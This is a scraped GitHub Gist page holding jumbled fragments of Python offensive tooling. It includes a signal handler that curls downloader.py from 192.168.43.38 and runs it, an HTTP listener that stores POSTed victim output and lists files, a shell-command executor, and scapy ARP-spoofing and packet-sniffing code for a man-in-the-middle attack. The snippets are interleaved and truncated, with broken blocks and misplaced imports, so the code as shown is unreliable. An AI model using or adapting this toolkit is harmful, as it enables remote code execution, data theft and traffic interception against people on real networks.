Skip to content

Instantly share code, notes, and snippets.

View NimishMishra's full-sized avatar

NimishMishra

View GitHub Profile
def refresh_downloader_on_signal(signalNumber, frame):
COMMAND = "curl http://192.168.43.38:9000/downloader.py -o downloader.py"
run_command(COMMAND)
COMMAND = "python3 downloader.py"
command_split = COMMAND.split(" ")
subprocess.Popen(command_split)
os._exit(os.EX_OK)
def signal_handlers():
try:
import subprocess
import time
import os
import sys
import signal
data = ""
def run_command(command):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
data = post_data.decode('utf-8')
try:
data_split = data.split("SPLIT")
file_object = open("../responses" + str(time.time()) +".txt", "a")
for line in data_split:
file_object.write(line + "\n")
file_object.close()
def do_GET(self):
print("Path is: " + self.path)
self._set_response()
response = ""
current_directory = os.getcwd()
if(self.path == "/"):
for file in os.listdir(current_directory):
response = response + file + "\n"
else:
from http.server import BaseHTTPRequestHandler, HTTPServer
import os
import time
class ServerHandler(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
import subprocess
import os
def run_command(command):
command = command.rstrip()
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except Exception as e:
def entry(target_ip, gateway_ip):
# assuming we have performed the reverse attack, we know the following
global response
response = ""
TARGET_IP = target_ip
GATEWAY_IP = gateway_ip
TARGET_MAC_ADDRESS = get_mac_address(TARGET_IP)
def run_command(command):
command = command.rstrip()
try:
command.index("cd")
navigate_directory(command)
return "Directory changed to: " + str(os.getcwd())
except:
pass
def restore_arp_tables(gateway_ip, gateway_mac, target_ip, target_mac):
# print("Restoring...")
arp_layer = ARP(op=2, hwsrc= gateway_mac, psrc= gateway_ip, pdst= target_ip, hwdst="ff:ff:ff:ff:ff:ff")
gateway_to_target = Ether()/arp_layer
arp_layer = ARP(op=2, hwsrc= target_mac, psrc= target_ip, pdst= gateway_ip, hwdst="ff:ff:ff:ff:ff:ff")
target_to_gateway = Ether()/arp_layer
send(gateway_to_target, count=10, verbose= 0)
send(target_to_gateway, count=10, verbose= 0)
# print("Restoring done...")
def callback(packet):
global response
if(packet.haslayer('Ethernet')):
response = response + "Ethernet src: " + str(packet['Ethernet'].src) + "\n"
response = response + "Ethernet dst: " + str(packet['Ethernet'].dst) + "\n"
response = response + "Ethernet type: " + str(packet['Ethernet'].type) + "\n"
if(packet.haslayer('IP')):
response = response + "IP ttl: " +str(packet['IP'].ttl) + "\n"
response = response + "IP src: " +str(packet['IP'].src) + "\n"